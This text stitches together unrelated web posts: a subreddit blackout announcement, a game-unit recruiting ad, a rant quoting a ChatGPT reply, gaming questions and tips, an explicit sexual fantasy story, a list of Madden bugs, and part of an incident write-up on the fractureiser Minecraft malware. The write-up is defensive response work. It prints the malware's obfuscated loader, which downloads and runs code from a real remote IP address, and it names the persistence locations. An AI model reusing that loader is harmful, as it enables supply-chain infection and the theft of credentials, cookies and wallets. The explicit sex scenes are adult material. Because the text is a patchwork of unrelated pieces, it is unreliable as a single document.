Good morning everyone, we the mod team have a couple of announcements to make over the events that have transpired over the last couple days.

1. Thanks to all of you who commented on the blackout thread. We weren't sure if there was support for it here and we were surprised to see near unanimous support from all your comments. With that in mind we have decided that the sub will be participating. I know the vote was a close one and you all were on the edge of your seats waiting for us to release the results. There's been some movement by reddit and attempts to clarify their position in the last day or so but as of writing this post the blackout is still on. We'll keep our ears out and see what transpires. If you missed the last announcement and have no idea what I am talking about, this thread explains it pretty well. The discord will remain up during the blackout.
   
2. Secondly, we are temporarily prohibiting new posts about "middle finger man" aka David Saylor. You can mention him in comments if it's topically relevant. Also if he ends up becoming newsworthy again that will be allowed as well. We will work on setting up some auto mod rules to intercept posts about him or his antics. If any posts get through though, feel free to answer any questions and then report the post so we can remove it. We aren't making this a new rule, it's simply a temporary measure that really is more for his own good since we know he reads those threads and likes to try to respond to them. We do not intend to punish or ban anyone that violates this prohibition. We are simply removing posts only.
   

Open For Recruiting!:
We are a brand new ArmA 3 unit called the 10th Mountain Division (10th MNT/LI) and we're now open for recruiting! We will talk about who we are, what we do, and why you should join our unit! We are currently looking for people to come and fill our slots as we've just started!
About us:
As we said, we are the 10th Mountain Division, we provide an immersive experience within ArmA 3 that is spot on with detail. We offer a realistic command structure and realistic Military uniforms, structure, and weaponry that is used. We are also more than just ArmA 3, we have an immersive and inclusive community that welcomes all! We'd love to have you in our ranks.
Operations:
Our operations are immersive and follow a set time line that our s-shop for operations set out. These can last for weeks and sometimes months depending on what our campaign is like! These are set out with articulate thought and follow a set lore timeline to ensure consistency for the story. Our team of writers and storytellers work hard to provide members with immersive campaigns that feel like something that could have happened in real life! (Don't worry, everything is taken at a fictional standpoint with only small exerpts from the real world. We're out to have fun, after all!) Some of our mods do include KAT Medical, ACE, TFAR, RHS, and more!
Elements:
Infantry:
- 10th Mountain Infantry: Our front facing force, 2 light assault infantry squads which contain specialized slots such as EOD techs, medics, designated marksmen, and JTACs.
- 89th Cavalry Scout Team: The scouts, as their name entails- a selected 4 man team that is sent out to gather intelligence and mark targets before the main forces arrive to an objective.
Aviation: Aviation is Closed for the time being, but spots open over time.
- 10th Air Regiment: Rotary based aviation element primarily for transport but also utilizes Blackhawks, Chinooks, and Apaches to provide close air support and logistic support for the boots on the ground.
- Flight Medics: Our flight medics are slotted underneath our 10th Air Regiment who perform Combat Search and Rescue for the infantry on the field. (CURRENTLY CLOSED, BUT WILL BE REOPENED.)
Well, how do you progress?: Progression within our unit is pretty simple! It's based on attendance, that'll allow you to progress through the ranks, and not merit from E1-E5. Promotions are earned though, so do your best! Qualification and Leadership courses are also provided as you progress in our unit! You can learn a wide variation of things on ArmA 3 that'll be useful here!
Schedule: Our main events are every weekend. On Saturdays and Sundays at 5:00 PM EST, we will be hosting our main operations. On Bi-Weekly Wednesdays, at 5:00 PM EST, our Unit-Wide Field Exercise Trainings will be taking place. We have campaigns that last for awhile, while being story rich, designed by our s-shops who do their best to ensure you have the best experience!

Why isn't there a fucking YouTube playlist downloader that works great? Just why? Why any? All of them wants you to download them one by one. Then what's the point of ''Playlist'' downloader? I just download them one by one. The fucking google shows garbage stuff like ''Top 10 best poenhub video downloader!' When I search for help. I dont give a fuck. I want to download a fricking playlist. I've been searcxhing for hours and goindg damn insane. LOOK WHAT gpt ANseered:
. It seems that the playlist downloaders you have tried, including dedicated software programs, are still providing the option to download individual items within the playlist rather than the entire playlist at once. This can be frustrating when you're looking for a convenient way to download all the songs in a playlist simultaneously.
​

1. Online Converters: There are online services that allow you to input the URL of a playlist and convert it into downloadable files. While this may not be as seamless as a dedicated playlist downloader, it can still help you obtain the songs from the playlist in a batch format. Simply search for "online playlist converters" on your web browser to find suitable platforms.

​
Well fucking thanks for nothing ChatGPT BECAUSE THATS THE DAMN PROBLEM I WANT TO DOWNLOAD A DAMN PLAYLISYT ON MY PHONE ALL I WANT IS DOWNLOAD A MUSIC PLAYLISYT AND NOW ALLLL OF THE FRICKIN PAGES DOESNT DOES ANYTHING WHEN I CLICK ON DOWNLOAD.

I recently got my hands on the Logitech G Pro X Super Speed Light mouse, and I'm loving it so far! However, I'm a bit confused about finding the optimal sensitivity for my gaming setup. Specifically, I'm wondering what would be the best sensitivity settings for playing on a 4:3 or 16:10 aspect ratio with an 800 DPI.
I understand that sensitivity preferences vary from person to person, but I'm eager to hear your suggestions and experiences. As I embark on this journey to fine-tune my gaming performance, I would greatly appreciate any advice or recommendations you have regarding sensitivity settings for 800 DPI.
Feel free to share your insights, personal preferences, and any helpful tips that could assist me in achieving the best gaming experience with my Logitech G Pro X Super Speed Light.
Thanks in advance for your valuable input!
Happy gaming.

Minecraft is a massively popular game where players can build and create anything their imaginations can conjure up. Whether you're a seasoned veteran or just starting out, these 10 tips will help you elevate your Minecraft builds to the next level.

1. Plan It Out: Before you start building, take a few minutes to sketch out your idea on paper or in a notes app. This will help you visualize your creation and give you a roadmap for building.
   
2. Gather Resources: Make sure you have all the necessary resources before you begin building. This includes blocks, tools, and any decorative elements you want to incorporate.
   
3. Start With a Strong Foundation: Building on a strong, level foundation will ensure the stability of your structure. Use materials like stone or obsidian for added durability.
   
4. Experiment with Different Block Combinations: Mix and match blocks to create interesting textures and patterns. Don't be afraid to experiment with contrasting colors and shapes.
   
5. Add Detail with Decorative Blocks: Adding decorative blocks like flowers, vines, and torches can bring your creation to life and add depth and character to your build.
   
6. Build to Scale: Pay attention to the scale of your build in relation to your surroundings. If you're building a house, for example, make sure it's proportional to the trees and hills around it.
   
7. Use Lighting to Create Ambience: Lighting can be used to create different moods and atmospheres within your build. Use torches, glowstone, and other light sources strategically to highlight important features and set the mood.
   
8. Add Water Features: Adding water features like fountains, pools, and rivers can add a touch of elegance and tranquility to your build.
   
9. Incorporate Landscaping: Adding landscaping elements like trees, shrubs, and flowers can help blend your build seamlessly into its environment.
   
10. Don't Be Afraid to Start Over: If your build isn't turning out how you envisioned it, don't be afraid to start over. Sometimes a fresh start is all you need to take your creation to the next level.
    

By following these 10 tips, you'll be well on your way to creating your best Minecraft creations yet. Happy building!

Part 1
"You're right," I said. "I hate it."
"You got a better idea?" Inanna asked. I shook my head. "No, and no time, either, let's go."
"Dude, you need like, a sergeant or something. I got you," the man said as he and his girlfriend or wife followed us back to the lounge.
"What kind of leadership experience do you have?" Inanna asked him.
"Uh, nothing like your husband," he admitted. I couldn't help but smirk. "Good, you've got the job," I said.
"What?" he asked.
"I know how the show portrays things, but in reality, Jerry's less of a leader and more a guy who's just kinda good at planning and really well liked. He's actually more of a lone wolf, really."
He looked at his girlfriend, who looked back. Both of them looked worried. I didn't blame them one bit.
"Okay," Inanna said as we reached the door. "This is on you, babe. Maybe turn your aura on a bit, and give your voice some extra volume."
I felt my cheeks burning. This was even worse than going on stage a few hours ago. At least then, there was some structure, and I had Inanna with me to take some of the attention.
I opened the lounge door and stepped in, the others hot on my heels. I stared at the crowd and felt my heart begin to flutter. Everyone here could die if I failed. So no pressure.
I followed Inanna's advice and let my natural aura slip a little loose. I could feel the weight of the woman's gaze change as it reached her. A second later, a few people, mostly women, nearest to us turned to eye me.
Inanna took my arm in her hand. "Remember, you want to be a little bit arrogant, babe. You don't have to be a dick about it, you just have to be straightforward. Acknowledge who you are and what you've done. Speak straight to them, and above all, act as confident as you can. Maybe work up a little righteous indignation. You're always a lot more confident when you're angry."
I nodded, accepting her advice. I put a little magic into my voice and cleared my throat. The sound was loud, but only a few people noticed in the din inside. People continued to talk and speculate and cry all over the room.
"Excuse me," I said. Nobody really paid me any mind. "Can I have your attention, please?" I asked. Still, nobody noticed. I glanced at Inanna, who shook her heard slightly. I decided to take a different approach and channeled Gary.
"EVERYBODY LISTEN UP!" I shouted, goosing the magic on my voice a bit. My words carried through the large room and a silence fell as all eyes turned to me.
"Okay, that's better," I said. I began to pace back and forth, hands on my hips, trying to strike a confident-looking figure. I was probably failing.
"Most of you probably recognize me from the talk just now. For anyone who doesn't, my name is Jerry Williams. I'm the man whom the character of Jimmy Waters in the television show The Legend of Jimmy is based on. Not everything in the show is accurate, but the broad strokes are.
"I killed Astoram. I led the takedown of the Cult of Blood. I led the way in the fight against the primordials, and I was the one who killed Sarisa and saved the Sixteenth World. Those parts are all true."
A ragged cheer went up from the crowd, which made me blush again. This was not an appropriate time to cheer.
"As you all know," I continued once I thought they'd be able to make out my words again. "This ship is under attack. For those who didn't see it, it's a kraken. As it turns out, they're much bigger in real life than Hollywood ever prepared us for. The kraken is hunting, and it plans to eat us-" A collective gasp rose from the crowd, but I pushed on.
"It plans to. But it's an animal, and I'm a human being, so I'll put my plans against its, any day. But to make my plan work, I need everybody who can to help. As many people as possible. I can't kill or drive this thing off myself, at least not without sinking the ship in the process. But with your help, we can fight this thing off.
"My wife here is going to be producing some weapons. What I need is for everyone who can swing a sword or shoot a rifle to make an orderly line right here and get your weapon. We don't have a lot of time, folks, so it's important that you remain calm and orderly. An old maxim of combat is 'Slow is smooth, smooth is fast,'. We'll finish much faster by remaining orderly than by rushing. So please, start lining up now. Together, we can fight this thing. We can drive it back into the depths, and go home with a story to tell our families."
This time, the cheer was overwhelming. It startled me with its ferocity. Despite my admonition, almost every young man and quite a few middle-aged men, along with a surprising number of women of all ages surged forward, eager to be the first volunteers.
Inanna rushed over to push a couple of square tables together, along with the couple from outside. They got them laid out and got behind them just in time. I had never understood why Inanna kept an entire arsenal of weapons in hammerspace until then. I'd told her many times that there was no way she could use hundreds of slightly-enchanted swords or almost a thousand gen-1 through gen-3 assault rifles and a similar number of handguns she regularly collected from the DCM group in lieu of retiring them (depending on the exact sub-generation, they couldn't always be upgraded to the latest standards of enchantment). But now I understood. She'd been preparing for a day like today.
I wondered idly why it was that people felt the need to look to me as the hero, when really, Inanna was the one they wanted. She was smarter, more experienced, and a better leader than me, no doubt. But she seemed content to be an intimidating figure standing at my side.
I was jealous.
Inanna began producing weapons and handing them out. She didn't let the volunteers choose their weapon, but assigned them as she saw fit. She had quite the variety of weapons, too. Shorter folks got polearms, mostly large Dane axes with six-foot hafts. Larger folks got swords, either knightly sword or viking swords, but the largest folks got longswords and -in the case of a six-foot three woman with broad shoulders- a zweihander, not unlike Inanna's own blade.
The guns were also distributed to anyone who professed any military or other shooting experience. These, she passed out purely by request, asking if they'd prefer a rifle or handgun. I was initially surprised at the number who chose a handgun, until I remembered that a lot of people would have experience shooting those at gun ranges and in large, rural back yards. She quickly got the couple involved, so they could serve three people at a time. With each interaction taking only four or five seconds, we were arming several dozen people a minute to start with. Inanna was even smarter than I originally thought, though, and she began hauling out weapons by the armful and dumping them off, grabbing the occasional newly-armed volunteer and pulling them behind their impromptu counter to help assign weapons.
Soon, she was off the line entirely, letting the others do the assigning as she continued to add to a pile of swords and a pile of guns. A dozen people stood behind the table two minutes in, each one assigning a dozen weapons a minute.
The ship shook three more times as we passed everything out. I had each person join me outside after they'd retrieved their weapon. A few of the people with guns took potshots at the giant tentacles, but I had them lower their weapons. For this to work, we all had to attack at once. We needed to surprise the beast with pain.
Finally, Inanna joined me outside, letting me know she was there by slipping a hand between my legs to fondle me. I turned to face her and planted a kiss on her forehead. "You ready?" I asked.
"To be the first to ever fight off a kraken?" she asked with a laugh. "Fuck yeah."
I nodded and added more magic to my voice.
"Okay, listen up! I need to group you up into units! I need a hundred people per unit, that's about one for each of the eight tentacles-" I was interrupted by one of the ship's massive smoke stacks being ripped free by one of the tightening tentacles. As soon as it finished collapsing, I continued.
"Start grouping up now! We don't have a lot of time!"
The man -I still hadn't caught his name- from the couple who'd been helping us rushed forward and began grabbing people, assigning them the task of leading units. Huh, that was quite inspired. Maybe he should be leading.... I glanced over to see Inanna giving me a slight shake of the head, having figured out what I was just thinking. I shrugged and looked back to the crowd, which was now showing some divisions as people clumped up. I waited a few more seconds for the scattered people still not in a group to get into one before I continued.
"Okay, You guys are team one," I said. "Head all the way aft, to the very last tentacle. Start attacking as soon as you hear the rest of us shooting. The folks with swords will chop the bottoms of the tentacles, the folks with guns will shoot the tops. Try to get your people into the best positions to do the most damage possible. Go."
The group turned and began to jog aft.
"Okay," I said, gesturing to another group. "You're team two. Same instructions, just pick the next tentacle up. Go."
The other teams began to follow, not needing any more instruction.
"How much time do we give them?" I asked Inanna.
"Three minutes," she said without hesitation. I nodded, as that sounded about right. Still, it was going to be a long three minutes. The ship continued to creak and groan from the strain of the tightening tentacles.
"This is gonna be close," the woman said. I took my chance. "Hey, what's your name?" I asked.
"I'm Charlize, and my brother is Jason," she said.
"Your brother? Oh, I thought you two were, uh..." I stammered. She flashed me a grin. "We're from Alabama, but not that part of the state."
"I uh, just didn't expect a... A brother and sister to take a cruise... I mean... Ugh. Sorry. It's fine, apologies if I offended you."
The woman looked at Inanna, an eyebrow quirked. Inanna nodded. "Always. It's a part of his charm."
I watched the last team get into position near the closest tentacle. "Okay," I said. "Let's join them."
We all ran over. I decided to use my sword, summoning Godslayer from hammerspace. As the blade appeared in my hand, the magic caused everyone around me to turn and look. The shimmering air around the blade raised a lot of eyebrows.
"Wow, I can feel that thing," one woman muttered.
"I've been layering enchantments on it for years," I explained.
"Did you name it? All cool swords need a name," a younger guy who looked to be a fellow after my own (nerdy) heart asked. I pursed my lips and balked at the ridiculous question.
"Of course," I said. "This is Godslayer."
"Holy shit!" he said, his eyes widening. A few others turned to check it out.
"Yes, this is the sword I killed Sarisa with. I also took Tysrane's hand with it, but that's... I'm not exactly proud of that," I said.
"Bet Tysrane isn't, either," the nerdy guy said. The woman who'd first spoken looked at him and said, "Bet Tysrane makes a point of not pissing off Jim- er, Jerry."
"Fuck yeah," the nerdy guy mumbled. I blushed.
"Is everyone ready?" I asked loudly. A ragged chorus of agreements greeted me. I realized I should be more inspiring, so I tried again, adding the magic back to my voice.
"Are we all ready to show this thing what happens when it messes with us?!" I shouted. A harsh cheer erupted.
"Lets go, then!" I yelled at the top of my lungs and rushed forward to the giant mass of glistening flesh before me. Gunfire erupted behind me as me and dozens of others began slashing into the tentacle.
As the assault picked up in pace, a new sound emerged. It started as the crackle of broken parts of the ship's superstructure, the tentacles writhing in response to the sudden pain. But it changed into a gurgling roar that grew louder and louder.
Suddenly, the roar grew more hoarse and I glanced aside to see a massive shape rising behind the structure to my left. Using a bit of magic, I jumped onto the roof and rushed to the edge.
The kraken's body had broken the surface. I could see where the tentacles joined the body, and in between them, the beast's mouth. It didn't have a beak like an octopus or a squid, but a massive, gaping maw full of sharp, pointy teeth. As the mouth rose above the water, the sound grew deafening, drowning out even the gunfire.
I stared at the thing as the mouth closed and sort of drew back into the body, the roar dying out. With a sudden loud hissing sound, the mouth shot back out, almost like a goblin shark's jaws, opening wide and releasing an enormous spray of a steaming black liquid.
The fluid splashed over the ship, smoking and bubbling where it landed. A few people were splattered with it, and each and every one of them screamed and began to try to wipe the sticky substance off themselves.
"Get them to the pools!" I shouted. "Get the injured to the pools!" A few people heard me and I watched as one burly older gentleman grabbed a flailing young lady, tossed her over his shoulder, and rushed to the pool. He splattered himself with the fluid, which bubbled and smoked as it struck him, but he paid it no mind. When he reached the pool, he jumped in with the woman, and I saw him drag her under and start stripping her clothes. More bodies splashed into the pool, and I nodded in approval. Taking off whatever clothing was soaked in the stuff was a good idea.
I turned back to see the beast sucking its jaw back in again. This was no good. It had already knocked about one in ten people off the line, either suffering from whatever kind of acid this was, or helping those so afflicted. If it kept this up, it would stop us.
That's when I realized that my first plan was viable now. Its body was out of the water. I could target it, right now, and end this.
I rose into the air, charging my strike. I dismissed Godslayer and, having learned from my efforts against the primordials, dismissed my clothes as well. I really liked that T-shirt.
I flew up and away from the beast, reaching a point about two hundred yards away from the ship. I could see the ends of tentacles in the water below me, really speaking to the size of the creature, as those tentacles were currently still wrapped around the ship.
I closed my eyes and prayed. "Please let go, please let go." I opened my eyes back up and waited.
The beast spat more acid onto the deck, but it had already splattered the people nearest to its mouth, and those near to them had helped. Only a few people caught some of the acid, and a few more stopped to help them get in the water.
The beast was thrashing now. I could see the ship rocking back and forth, and the tentacles were coming loose and tightening down. I watched, waiting for my chance.
Finally, blessedly, it happened. Six of the tentacles lifted up, the ends slipping out of the water. They were no longer grasping the ship, having pulled back to end the pain our ragtag army was inflicting.
I drew in as much power as I could manage and shot forward, my shield forming a shell around me.

Charlize Mayberry, Totally Not Fucking Her Brother, Jesus Christ, They're Just Best Friends, I Mean, it's Her Brother For Crying Out Loud
Charlize watched as Jerry made the inhuman jump to the structure to her left to survey the battle. She could see the kraken's body, and she could see Jerry's shoulders and head as he regarded it.
He looked even more impressive than his counterpart in the show. Magic that she could see and feel surrounded him, making him crackle with strange colors she couldn't give name to. His sword shimmered, the blade a thing of immense gravity, drawing the eye to it. His shoulders were firmly set, and even from behind, she could sense the grim determination. She remembered a scene from the show, where Karen had watched him and whispered "Angel of Death," and she decided right then and there that that scene had actually happened.
When the kraken spat some kind of burning black bile over everyone, she heard him shouting, as if he'd been prepared for this. She found a man screaming to her right, trying to get the stuff off his face. "Come on!" she yelled, grabbing one of his hands and rushing him to the pool. By the time she got there, the water was gray and muddy, and partially or entirely naked people with serious-looking burns were climbing back out. She shoved the guy in, watching him go under. A few seconds later, he emerged, scrubbing at his face.
"Oh god, oh god, oh god... Thank you," he said, his eyes still squeezed shut. She could see the wound on his cheek where the acid had eaten into the skin, but he had managed to rinse most of it away.
"Come on," she called, "Get out." He blinked his eyes open, then swam to the edge. More people were coming in, and she worried that the pool water might get saturated with enough of the acid to become acidic, itself.
Charlize helped the man out of the pool, then turned to look back down the ship. The tentacles were rising, one after another, trying to escape the pain of gripping the vessel. Those armed with guns continued to fire, pouring lead into the savaged appendages as those with melee weapons caught their breaths.
She watched as all but two of the tentacle lifted off the ship. Hope swelled in her breast and she glanced over at a burly, older man with no shirt on, leaning on his knees and catching his breath, next to a younger woman in nothing but a pair of panties, laying on the deck with burns all over her legs and torso.
The man caught her gaze and flashed her a grim smile. "Almost," he said. Charlize nodded and raised her rifle, shooting at the distant tentacles that remained attached to the ship.
She had only fired once or twice when the entire ship shuddered and a deafening crack caused her to look up. She saw a golden streak flash into and through the beast's body, which was more clearly seen from her current position on the pool deck.
The kraken simply exploded.
Chunks of wet, slippery flesh flew outward with enough force to bowl over anyone they struck and leave dents in the metal sides of the ship. The two remaining tentacles on the ship let go, pulling back under the water as the six in the air flopped down, sending a cleansing wave of seawater over the deck.
The water ran red with the kraken's blood as it swept over the sides, carrying chunks of monster and a few people who'd been caught off guard with it. Charlize grabbed one guy and helped him catch his footing before the flow subsides.
She straightened up and looked over to where the dead beast was sinking beneath the surface. A gold-glowing figure emerged from the water, and Charlize recognized Jerry.
He was naked. His body was hard and tightly muscled, but lean and agile-looking. His skin glowed with a golden light, and she could see red lightning playing about his skin as he rose into the air and then glided over to the ship and sat back down.
The crowd, who had begun cheering at the beast's death, fell into a hush of awe as the all turned to the glowing figure. He exuded power, commanding every eye to look at him. His feet settled down on the deck and he walked forward.
With a sudden rush of heat in her cheeks, Charlize realized that he was rocking an enormous hard-on. Like, impressively big. If she'd seen one like that in a porno, she'd have assumed it was CGI or a prosthetic. If she'd been able to think straight, she'd probably have found it a little ridiculous.
He walked past her, turning his head and clasping her shoulder. "Thank you," he said with a smile. Her knees went weak as his touch and she began to reflect upon the fact that, at least in the show, Ishtar loved to bring women home for herself and Jimmy.
She watched him thank everyone he passed, until he finally found his wife. They embraced, and then a few seconds later, they vanished.
Charlize caught her breath and let her heartbeat slow down. A woman approached her, and she recognized her as the last person whose question Jerry had declined to answer during the talk.
"Do you know where there cabin is?" she asked. Charlize shook her head. Another woman approached, holding hands with an effeminate-looking man carrying a handgun. "They're in the Princess Suite, it's in the big stack up fore," she said with a gesture.
"I'm gonna go see if they're there," the first woman said breathlessly. The couple nodded, and all three of them took off. Jason put his hand on her shoulder and she looked at him.
"I'm, uh..." Charlize said, making up her mind right then and there. "I'm gonna go do something. I'll be around in a bit."
She hurried inside, found an elevator to ride to the top floor and the hurried down until she saw the door labeled "Princess Suite". She knocked on it.
A second later, the door was opened by a naked woman that Charlize didn't recognize. Looking past her, she could see a tangle of limbs. Moans and gasps already filled the air.
The woman stepped aside as Charlize stepped in and immediately began tugging at her shirt.

Jerry Williams, Just Wants a Quiet Vacation For Once In His Life
The next morning, I sat on a deck chair on the upper observation deck as the ship pulled into port for repairs. We'd all been given vouchers for a new cruise, as compensation for the one cut short by the attack. The captain of the ship had come to personally thank me for rallying the defense. Unfortunately, she'd done this during the orgy Inanna had organized right after the attack, and it had taken the bridge crew over an hour to locate her when she failed to return.
I winced, thinking about that.
Inanna had turned her chair to face mine and had her legs on my lap. A few other people were also laid out with us. Mostly women, but a few men as well. All of us had come up here from my cabin. All of us were naked, and though this wasn't a nudist cruise, nobody seemed inclined to complain. The staff had recognized Inanna and I, and we were being waited on hand and foot.
I took a sip of my champagne and rubbed Inanna's shin.
"See?" she said. I glanced over to see the sun glistening off the light sheen of sweat coating her dusky skin. God, she was so beautiful.
"It wasn't so hard, was it?"
"I'm still not so sure I'm cut out to be a leader. And I'm still not convinced that the risk of me turning in the asshole from my visions is past," I said.
"Bah," she replied dismissively. "You are a leader, whether you like it or not. You're a hero, like it or not. I know you wouldn't have chosen this position, but it's been chosen for you, and the best thing you could do is be the best damn hero you can be."
I thought about that for a minute, and honestly, I couldn't argue the point. Maybe she was right, and I should do a bit more in terms of being a good hero, instead of just keeping my head down and trying to help where I could.
"Besides," she continued a moment later. "Emperor Gerald had sixty years of Sarisa whispering in his ear to get that way. You've got me. I'll keep you on the straight and girthy."
I laughed. "Straight and narrow," I corrected.
"It's anything but narrow," she replied mildly. "Although, now that I think about it, I prefer when I'm the one on the straight and girthy." She reached down to grab my hand and pull it up to her pubic hair. I gave it a little tug, then ran my fingers along the stretch marks at the base of her belly. Those were possibly the sexiest part of her whole body, and even the least sexy part of her was jaw-dropping. She opened an eye to frown at me, until her gaze roamed down and noticed the effect that touching them was having on a different part of me. Her feet shifted over to that part and I felt that old familiar thrill as she touched me. It was just as intense this time as it had been the first time.
"Ready for another?" she asked.
"I think we should relax for a bit," I said. Inanna smirked and her eyes focused past me. "They don't," she said. I glanced behind to see two of the women from the orgy walking over.
"You forgot to turn your aura off, love," she said as she set up and moved to sit on my lap.
"Here we go again," I groaned as hands and lips began to touch me.
Don't tell anyone, but in all candor, this was the part of being a hero I enjoyed the most.

With the Madden 24 Official Reveal Trailer releasing today, the unofficial end of Madden 23 is here.

Gameplay

• Offensive Players play defense while Defensive Players play offense
• Passes phasing through WR's hands leading to INTs
• Numerous catches ruled incomplete and unchallengeable
  • I've personally experienced this since '20
• Plays not being blown dead after HB draws, allowing the RB to get up and score a TD
  • I've personally experienced this one since Madden '20
• AI RB running into their own linemen on screens
• Offensive players tackling their own teammates
• Wide Open WR's Refusing to catch the ball for no reason
• WR's juggling the ball on their helmet till they run out of bounds
  • I've personally experienced this since Madden 16

Other

• Players who share names including Lamar Jackson, Josh Allen & AJ Green having the incorrect headshots in Franchise
  • This wasn't a problem until the most recent patch-- EA never bothered to fix itTM
• The Madden '94 cutscene in the intro was removed and never put back. EA never bothered to put it back in
• Constant server crashes
• Slow menu loading times in MUT next gen
• Player stats duplicating across the entire league in Franchise
• Players load into each other in Franchise menus
• Crowd does not reflect off Lombardi Trophy in Franchise
• Commentary still talks about "new overtime rules" (the new rules are now 7 years old)

And arguably the biggest middle finger of them all:

• EA suffers a server issue during Free Play Weekend-- potentially lose 60% of online franchises with no way of recovery. Only in-game solution is no more free play days for the year

I know i'm missing more so please add others below. Share your thoughts on your favorite Madden '23 bugs & if they will be fixed for '24 (ha). Remember this as EA tries to hype up Madden 24 as its "Make or Break" game.

Current status

We have a good idea how fractureiser works, from stages 0 to 3. There are certain unknowns, but stage 0 bootstrapping was quickly nipped and tomorrow we’ll be moving our focus to mitigation. As a plan, we’ve contacted Mojang and will likely be working with teams to get detection software distributed and integrated into CurseForge and Modrinth, as well as considering integration in launchers like Prism, and mod loaders like Fabric and Forge. It is also worthwhile to run this detection software on mod distribution mavens, as it’s possible some have become infected.
Most of the current team responsible for updating this doc is tired and going to bed (as of 02:46a Pacific time). Others are continuing to reverse engineer stage 3.
Work has begun on a detector for infected stage0 mods: https://github.com/MCRcortex/nekodetector
If you have files relevant to this malware, please upload them to https://wormhole.app and email the URL to [[email protected]](mailto:[email protected]) — this inbox is controlled by xylemlandmark, and anything sent to it will be shared with the rest of the team.

Non-technical overview [READ ME!]

A number of Curseforge and dev.bukkit.org (not the Bukkit software itself) accounts were compromised, and malicious software was injected into copies of many popular plugins and mods. Some of these malicious copies have been injected into popular modpacks including Better Minecraft. There are reports of malicious plugin/mod JARs as early as mid-April.
This malware is composed of multiple “stages”, each stage is responsible for downloading and running the next one. In total, there are three known stages (Stages 1, 2, and 3), with infected mod files serving as a “Stage 0” to kick the whole process off.
Stage 3 is the “mastermind” of the malware, and we have evidence that it attempts to do all of the following:

• Propagate itself to all jar files on the filesystem, possibly infecting mods that were not downloaded from CurseForge or BukkitDev
• Steal cookies and login information for many web browsers
• Replace cryptocurrency addresses in the clipboard with alternates that are presumably owned by the attacker
• Steal Discord credentials
• Steal Microsoft and Minecraft credentials

(See technical details for more info)
Because of its behavior, we are very confident this is a targeted attack against the modded Minecraft ecosystem. It’s quite bad.
Until further notice, exercise extreme caution with Minecraft mod downloads, regardless of origin. While the control server for this malware is currently offline, any download from Curseforge or the Bukkit plugin repository in the last 2-3 weeks should be treated as potentially malicious. This malware is unlikely to be detected by Windows Defender or similar antimalware products.
If you have downloaded any mods from Curseforge, or plugins from Bukkit, even through clients such as Prism Launcher or the official Curseforge launcher, it is recommended that you follow the “Am I infected?” guide below.
The affected accounts had two-factor authentication enabled. This is not a simple password compromise situation. Multiple accounts are affected.
Currently, we do not suspect other platforms such as Modrinth to be affected. At this point we cannot be confident claiming any hosting service is unaffected. Please exercise caution regardless of what site you use. Even Maven repositories may be infected, and this malware goes back months.
Right now, the malware is dormant due to the loss of its C&C server and the Stage0 (what was distributed via mods and modpacks) not having a way to get a new server. If you were infected with Stage2 (the file described below, dropped by Stage1 when C&C was up), then the malware is still active.

Am I infected?

You can check whether the malware ever ran on your computer, since Stage1 attempts to save Stage 2 at several unusual paths:

• Linux: ~/.config/.data/lib.jar
• Windows: %LOCALAPPDATA%\Microsoft Edge\libWebGL64.jar (or ~\AppData\Local\Microsoft Edge\libWebGL64.jar )
  • Make sure to show hidden files when checking
  • Yes, “Microsoft Edge” with a space. MicrosoftEdge is the legitimate directory used by actual Edge.
  • Also check the registry for an entry at HKEY_CURRENT_USER:\Software\Microsoft\Windows\CurrentVersion\Run
  • Or a shortcut in %appdata%\Microsoft\Windows\Start Menu\Programs\Startup
• All other OSes: Unaffected. The malware is hardcoded for Windows and Linux only. It is possible it will receive an update adding payloads for other OSes in the future.

There are scripts available here which will help you check whether these files exist.
Before downloading, the malware will create the enclosing directory if it does not exist. Windows/MS Edge does not use the “Microsoft Edge”-with-a-space directory, and Linux software does not use ~/.config/.data , so these folders existing is a likely sign that Stage1 has executed on a victim computer.
If you find these files, you should delete them immediately, but consider all JAR files on your system compromised, and potentially all logins on your web browser as well. Passwords should be changed.

Given a jar file, how do I know if it’s safe?

There are various heuristics you can use to determine whether a jar is infected with Stage 0.
Emi’s shell script here simply checks for all usages of ClassLoader , which is uncommon in mod code. This can lead to false positives and negatives. For example, it falsely flags the latest Quark 1.19 file as infected when it is not.
Sylv’s shell script here does a bit more fingerprint matching for the malware, and should be more precise.
As a non-technical user, your best course of action is to check if your system was affected using the above steps, remediating if necessary, and refraining from downloading anything from CurseForge or dev.bukkit.org until further notice.

Technical info

Distribution

Some modpacks have had updates published for them without the knowledge of the authors, adding a dependency on malicious mods. These modpack updates were archived immediately after uploading, meaning they do not show on the web UI, only via the API.
The malicious mods have upload dates multiple weeks in the past. Most of them were uploaded by single-use accounts with clearly autogenerated names, and were likely the seed of the infection. Luna Pixel Studios was compromised due to a dev testing one of these mods, as it was an interesting new upload. The fact Curse let these mods uploaded by a new account through is pretty bad and speaks to their now-nonexistent content moderation.

Stage0 (Infected mod jars)

Affected mods or plugins have a new static void method inserted into their main class, and a call to this method is inserted into that class’s static initializer. For DungeonZ, the method is named _d1385bd3c36f464882460aa4f0484c53 and exists in net.dungeonz.DungeonzMain . For Skyblock Core, the method is named _f7dba6a3a72049a78a308a774a847180 and is inserted into com.bmc.coremod.BMCSkyblockCore . For HavenElytra, the code is inserted directly into the otherwise-unused static initializer of valorless.havenelytra.HavenElytra .
The method’s code is obfuscated, using new String(new byte[]{...}) instead of string literals.
From Shadowex3’s sample of “Create Infernal Expansion Plus”, a copycat version of “Create Infernal Expansion Compat” with malware inserted into the main mod class:

static void _1685f49242dd46ef9c553d8af1a4e0bb() { Class.forName(new String(new byte[] { // "Utility" 85, 116, 105, 108, 105, 116, 121 }), true, (ClassLoader) Class.forName(new String(new byte[] { // "java.net.URLClassLoader" 106, 97, 118, 97, 46, 110, 101, 116, 46, 85, 82, 76, 67, 108, 97, 115, 115, 76, 111, 97, 100, 101, 114 })).getConstructor(URL[].class).newInstance(new URL[] { new URL(new String(new byte[] { // "http" 104, 116, 116, 112 }), new String(new byte[] { // "85.217.144.130" 56, 53, 46, 50, 49, 55, 46, 49, 52, 52, 46, 49, 51, 48 }), 8080, new String(new byte[] { // "/dl" 47, 100, 108 })) })).getMethod(new String(new byte[] { // "run" 114, 117, 110 }), String.class).invoke((Object) null, "-114.-18.38.108.-100"); } 

This:

1. Creates a URLClassLoader with the URL http://[85.217.144.130:8080]/dl (shodan)
2. Loads the class Utility from the classloader, fetching code from the internet
3. Calls the run method on Utility , passing a String argument different for each infected mod (!). E.g.

• Skyblock Core: “-74.-10.78.-106.12 ”
• Dungeonz: “114.-18.38.108.-100 ”
• HavenElytra: “-114.-18.38.108.-100 ”
